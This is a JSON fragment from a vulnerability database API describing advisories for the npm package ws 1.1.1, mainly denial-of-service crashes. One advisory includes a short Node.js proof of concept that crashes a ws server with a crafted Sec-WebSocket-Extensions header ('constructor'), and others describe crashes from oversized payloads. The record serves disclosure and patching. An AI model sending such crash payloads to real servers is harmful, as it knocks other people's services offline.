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    "url": "http://public2.vulnerablecode.io/api/packages/51723?format=api",
    "purl": "pkg:npm/ws@1.1.1",
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            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/11892?format=api",
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            "summary": "Denial of Service\nA specially crafted value of the `Sec-WebSocket-Extensions` header that uses `Object.prototype` property names as extension or parameter names can be used to make a `ws` server crash.",
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                    "url": "http://public2.vulnerablecode.io/api/packages/53597?format=api",
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            "summary": "Denial of Service in ws\nAffected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.\n\n## Proof of concept\n\n```\nconst WebSocket = require('ws');\nconst net = require('net');\n\nconst wss = new WebSocket.Server({ port: 3000 }, function () {\n  const payload = 'constructor';  // or ',;constructor'\n\n  const request = [\n    'GET / HTTP/1.1',\n    'Connection: Upgrade',\n    'Sec-WebSocket-Key: test',\n    'Sec-WebSocket-Version: 8',\n    `Sec-WebSocket-Extensions: ${payload}`,\n    'Upgrade: websocket',\n    '\\r'\n  ].join('\\r');\n\n  const socket = net.connect(3000, function () {\n    socket.resume();\n    socket.write(request);\n  });\n});\n```\n\n\n## Recommendation\n\nUpdate to version 3.3.1 or later.",
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                    "reference_url": "https://snyk.io/vuln/npm:ws:20171108",
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                    "reference_type": "",
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                    "reference_type": "",
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            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/13362?format=api",
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            "summary": "Improper Input Validation\nws is a \"simple to use, blazing fast and thoroughly tested websocket client, server and console for node.js, up-to-date against RFC-6455\". By sending an overly long websocket payload to a `ws` server, it is possible to crash the node process. This affects ws 1.1.0 and earlier.",
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                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2016-10542",
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                            "published_at": "2026-05-30T12:55:00Z"
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                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10542",
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                    "reference_type": "",
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                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10542"
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                    "reference_url": "https://github.com/advisories/GHSA-6663-c963-2gqg",
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            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/10958?format=api",
            "vulnerability_id": "VCID-hedn-18sd-bba2",
            "summary": "DoS due to excessively large websocket message\nIt is possible to crash the node process by sending an overly long websocket payload to a ws server.",
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                    "reference_url": "https://github.com/nodejs/node/issues/7388",
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